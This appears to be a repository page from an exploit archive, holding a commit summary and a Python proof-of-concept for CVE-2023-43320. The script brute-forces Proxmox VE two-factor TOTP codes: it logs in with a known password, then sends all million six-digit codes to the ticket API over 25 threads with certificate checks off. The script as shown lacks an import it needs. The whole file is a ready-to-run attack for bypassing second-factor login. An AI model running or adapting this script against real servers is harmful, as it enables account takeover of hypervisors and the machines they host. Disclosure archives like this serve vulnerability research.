2aed99237c
8 changes to exploits/shellcodes/ghdb Proxmox VE - TOTP Brute Force RoyalTSX 6.0.1 - RTSZ File Handling Heap Memory Corruption PoC GoAhead Web Server 2.5 - 'goform/formTest' Multiple HTML Injection Vulnerabilities 101 News 1.0 - Multiple-SQLi Academy LMS 6.2 - Reflected XSS Academy LMS 6.2 - SQL Injection Grocy <=4.0.2 - CSRF
81 lines
No EOL
2.8 KiB
Python
Executable file
81 lines
No EOL
2.8 KiB
Python
Executable file
# Exploit Title: Proxmox VE TOTP Brute Force
|
|
# Date: 09/23/2023
|
|
# Exploit Author: Cory Cline, Gabe Rust
|
|
# Vendor Homepage: https://www.proxmox.com/en/
|
|
# Software Link: http://download.proxmox.com/iso/
|
|
# Version: 5.4 - 7.4-1
|
|
# Tested on: Debian
|
|
# CVE : CVE-2023-43320
|
|
|
|
import time
|
|
import requests
|
|
import urllib.parse
|
|
import json
|
|
import os
|
|
import urllib3
|
|
|
|
urllib3.disable_warnings()
|
|
threads=25
|
|
|
|
#################### REPLACE THESE VALUES #########################
|
|
password="KNOWN PASSWORD HERE"
|
|
username="KNOWN USERNAME HERE"
|
|
target_url="https://HOST:PORT"
|
|
##################################################################
|
|
|
|
ticket=""
|
|
ticket_username=""
|
|
CSRFPreventionToken=""
|
|
ticket_data={}
|
|
|
|
auto_refresh_time = 20 # in minutes - 30 minutes before expiration
|
|
last_refresh_time = 0
|
|
|
|
tokens = [];
|
|
|
|
for num in range(0,1000000):
|
|
tokens.append(str(num).zfill(6))
|
|
|
|
def refresh_ticket(target_url, username, password):
|
|
global CSRFPreventionToken
|
|
global ticket_username
|
|
global ticket_data
|
|
refresh_ticket_url = target_url + "/api2/extjs/access/ticket"
|
|
refresh_ticket_cookies = {}
|
|
refresh_ticket_headers = {}
|
|
refresh_ticket_data = {"username": username, "password": password, "realm": "pve", "new-format": "1"}
|
|
ticket_data_raw = urllib.parse.unquote(requests.post(refresh_ticket_url, headers=refresh_ticket_headers, cookies=refresh_ticket_cookies, data=refresh_ticket_data, verify=False).text)
|
|
ticket_data = json.loads(ticket_data_raw)
|
|
CSRFPreventionToken = ticket_data["data"]["CSRFPreventionToken"]
|
|
ticket_username = ticket_data["data"]["username"]
|
|
|
|
def attack(token):
|
|
global last_refresh_time
|
|
global auto_refresh_time
|
|
global target_url
|
|
global username
|
|
global password
|
|
global ticket_username
|
|
global ticket_data
|
|
if ( int(time.time()) > (last_refresh_time + (auto_refresh_time * 60)) ):
|
|
refresh_ticket(target_url, username, password)
|
|
last_refresh_time = int(time.time())
|
|
|
|
url = target_url + "/api2/extjs/access/ticket"
|
|
cookies = {}
|
|
headers = {"Csrfpreventiontoken": CSRFPreventionToken}
|
|
stage_1_ticket = str(json.dumps(ticket_data["data"]["ticket"]))[1:-1]
|
|
stage_2_ticket = stage_1_ticket.replace('\\"totp\\":', '\"totp\"%3A').replace('\\"recovery\\":', '\"recovery\"%3A')
|
|
data = {"username": ticket_username, "tfa-challenge": stage_2_ticket, "password": "totp:" + str(token)}
|
|
response = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
|
|
if(len(response.text) > 350):
|
|
print(response.text)
|
|
os._exit(1)
|
|
|
|
while(1):
|
|
refresh_ticket(target_url, username, password)
|
|
last_refresh_time = int(time.time())
|
|
|
|
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
|
|
res = [executor.submit(attack, token) for token in tokens]
|
|
concurrent.futures.wait(res) |